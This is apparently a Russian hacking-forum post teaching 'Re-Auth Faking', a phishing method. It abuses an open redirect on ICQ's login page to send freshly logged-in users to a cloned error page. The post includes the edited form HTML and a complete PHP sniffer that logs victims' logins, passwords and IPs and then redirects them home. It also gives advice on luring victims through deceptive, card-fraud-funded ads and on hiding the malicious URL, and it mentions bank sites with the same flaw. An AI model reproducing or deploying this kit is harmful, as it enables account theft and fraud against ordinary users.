Re-Auth Faking - как, где и зачем. ========
ЛИРИКА
========
1) Тема стара как мир (с тех пор как я ее начал пользовать уже прошло года 3, и актуальности она не потеряла)
2) Ни где в сети я не нашел упоминания такого метода.
Re-Auth Faking - название от балды, просто не понятно как это охарактеризовать.
3) Мы будем фейкать страницу авторизации (но не простую, а золотую)
4) Нам понадобится:
- голова+руки
- бесплатный хостинг с пхп (на скуль и рекламу плевать)
- блокнот с синтаксической подсветкой ( например Notepad++, сойдет и Ctrl+U Оперы)
- [опционально] понимание html.
========
ОПИСАНИЕ
========
Когда юзер приходит на сайт, потом ползет логиниться ( ну чтобы коммент отписать например), то
очень часто сайт посылает его по ссылке вида
httр://site.com/index.php?do=auth&redir=httр://site.com/showcontent.php?id=1234
где
httр://site.com/showcontent.php?id=1234 - ссылка, на которую будет переадресован юзер после успешной авторизации. Это едва ли не общепринятая практика - после авторизации возвращать юзера на ту страницу, с которой пришел.
За примером далеко ходить не нужно (не даю ссылки на сайты банков, но их больше чем вы думаете, только поищите):
_https://www.icq.com/karma/login_page.php?dest=%2Fblogs%2Ftag%2F23%26icid%3Dhp_blog_tags_23%2F&service=11
Это страница авторизации на icq.com ( тут пробивает ностальгия, каждый вспомнил свой первый шестизнак^^
попадаем мы на эту ссылку просто - идем на icq.com, жмем там на любой линк, а оттуда на кнопку "Login",
Выделенное фиолетовым - линк, на который нас перенесет после успешной авторизации.
Угу, правильно подумали.
Нам ведь ничего не мешает вписать туда свой адрес?
*нет, на самом может мешать совесть (но ведь она не против?) или админы сайта, которые этот самый адрес фильтруют на принадлежность к их сайту (это главная помеха, но в данном случае ее нет))
идем на
https://www.icq.com/karma/login_pag...st=http://google.ru&rem=&service=1&uin_email= авторизуемся, и... улетаем на гогл =ъ
========
К ДЕЛУ
========
Хватит прыгать от радости, рановато еще.
Итак.
Предположим, жертва пришла по нашему линку (как ее заставить - разберем ниже), что дальше:
- она авторизуется
- она улетает на наш фейк.
Что она должна увидеть? - вариантов вагон и маленькая тележка (плясать от вашей фантазии), но самый гуманный - сказать что логин\пароль не верные, и попросить написать их снова.
Стало быть нам нужна страничка с ошибкой - нет проблем - вписываем в форму неверный уин\пасс и получаем страничку с ошибкой.
==[ Делаем фейк ]==
Клацаем по ней правой -> посмотреть исходный код.
Поиск -> "
action=" . Это адрес, на который отправятся данные формы "login_frm".
Идем на бесплатный хостинг, регаемся, получаем свой адрес, и списываем его вместо
https://www.icq.com/karma/login.php.
долно получиться чтото вроде:
action="
http://site.host.ru/login.php",
где login.php - имя вашего снифера, напишем его чуть позже.
Смотрим в конец строки, видим
onsubmit="return check();" - вырезаем его нафиг, зачем нам всякие проверки, мы же доверяем юзеру?)
Далее видим:
Код:
<div class="d1-3" style="color: #FF0000">Номер ICQ и/или пароль неправильные. Введите данные снова</div> <div class="d1-4"> [COLOR="#9932cc"]<input type="hidden" name="dest" value="http://freebug.ru">[/COLOR] [COLOR="#9932cc"]<input type="hidden" name="service" value="1"> <input type="hidden" name="icq_ln" value="A4331CD015D712B34FAD55CCF522DF3A373E8170DAEF20A5BCBA454C6D2AD966">[/COLOR] <div class="d1-4-1">Номер ICQ или E-mail</div> <div class="d1-4-2">Пароль ICQ</div> <div class="d1-4-3"><input type="text" [COLOR="Lime"]name="uin_email"[/COLOR] value="" class="d1-4-input" [COLOR="#9932cc"]onkeydown="uin_field_change()"[/COLOR]></div> <div class="d1-4-4"><input type="password" [COLOR="Lime"]name="password"[/COLOR] class="d1-4-input" maxlength="9"></div> <div class="d1-4-5"> <div> <div class="but-3" name="next" title="Войти" [COLOR="#9932cc"]onclick="submit_login();"[/COLOR]> <img src="img/icon_l.gif" width="20" height="29" alt=""> </div> <div class="but-1" name="next_btn" id="next_btn" title="Войти" [COLOR="#9932cc"]onclick="submit_login();"[/COLOR]> <div>Войти</div> </div> <div class="but-2" name="next" title="Войти"> <input type="image" src="img/corner_r.gif" width="6" height="29" alt=""> </div> </div> </div> <div class="d1-4-6"> <input type="checkbox" class="d1-4-chk" id="rem" name="rem" value="1"><span class="d1-4-rem" [COLOR="#9932cc"]onclick="remember_me_check()"[/COLOR]> Запомнить меня</span> <img src="img/info.gif" title="Справка" class="d1-4-img" alt="" border="0" width="14" height="14" onclick="window.open('http://www.icq.com/legal/legal_popup_message_ru.html',null,'height=200,width=600,status=no,toolbar=no,menubar=no,location=no,resizable=no')"> </div> </div> </form>
Все что фиолетовое - смело стираем, это их асечный JS, он нам не нужен
Зеленое - запомни, пригодится позже.
Теперь ишем все адреса вида "
/папка/файл.расш" - такие адреса называются относительными,
с нашего хостинга они работать не будут, поэтому ручками делаем из них абсолютные, подставляя в перед ними адрес сайта аси.
было:
img/corner_r.gif стало:
https://www.icq.com/karma/img/corner_r.gif все заменили? отлично, идем дальше.
Сейвим нашу правленую страничку на винт, заливаем на хостинг с именем
index.html,
- это чтобы она загружалась при обращении в корень сайта.
Морда готова. Теперь сам снифф.
Вот примитивнейший пример:
PHP:
<?php
$date=date("[ d/m/y H:i ]"); // формируем дату визита жертвы
$fp=fopen("log.txt","a"); // открываем файл для записи
fwrite($fp,"$date ".$_SERVER['REMOTE_ADDR']." [ ".$_SERVER['HTTP_USER_AGENT']." ]\n");
fwrite($fp,"[ ".$_POST['uin_email'].":".$_POST['password']." ]\n");
fclose($fp); // закрываем файл
header('Location:http://icq.com/'); // посылаем юзера "по-дальше", а лучше домой, где он уже авторизован. Чтобы ничего не заподозрил.
exit(); // выходим.
?>
снифф есть, называем его
login.php, *или как вы там в экшене формы написали.
создаем на всякий случай файл
log.txt, он должен создасться, но вдруг))
заливаем оба файла на хостинг к нашей морде, разрешаем запись в log.txt.
Все, набор готов.
=========
КАК ПРИВЕСТИ ЖЕРТВУ
=========
самым удобным методом считаю google AdWords, скарженый лучше)
пишем текст вида:
Новая акция для действуюших пользователей ICQ *банка\конторы\чего угодно
если твой номер шестизначный - ты наш самый ранний пользователь и мы дарим тебе уникальные сервисы совершенно бесплатно на 1 год!
*тут много сервисов типо транспорта, смс,звонком по миру и еще чего придумаете*
ссылка для пользователя - что-то типо
www.icq.com/gifts/ реальная - наша заряженная.
ну вот вроде бы и все...
а нет, еще:
Как спрятать палевный урл, ведь придирчивый юзер может второй раз глянуть на адресную строку (что к счастью очень маловероятно, он будет думать почему пасс не подошел, а не где он)
можно через редиректилки (и такие забавные как
http://to./ )
можно воспользоваться этой статьей:
http://freebug.ru/fakeip.rar - статья старая, но еще актуальная, залил куда попало, там ее не скоро потрут, заброшенный укоз.
========
ИТОГИ
========
плюсы метода:
+юзер идет на реальный адрес реального "родного" сайта.
+браузер не вопит о фроде, поскольку сайт сам перенаправляет пользователя
+да-да, есть и сайты банков с такой багой.
+юзер сам отдает нам логин и пасс, никакого гемора с дешифровкой.
минусы:
-можно пропалить адрес после "неудачного ввода пароля"
-расходы на пиар ядовитого урла всетаки есть.
-пароль зачастую во втором языке юзера (как мы, русскоговорящие не глядя меняем язык при неудачной авторизации, так и они, поэтому возможно придется погеморится с сопоставлением раскладок страны ваших "клиентов".
P.S.
Статья не раскрывает тайн мирового заговора и расчитана на уровень "медного чайника",
за стиль написания не бейте.
именно такой нехитрой методой я увел свой первый шестизнак.
Если вышло неплохо - перекиньте в раздел статей.
Вопросы\замечания конечно приветствуются.
PP.S.
http://to./ оказывается уже просит пароль( ищите другие сокращалки адресов.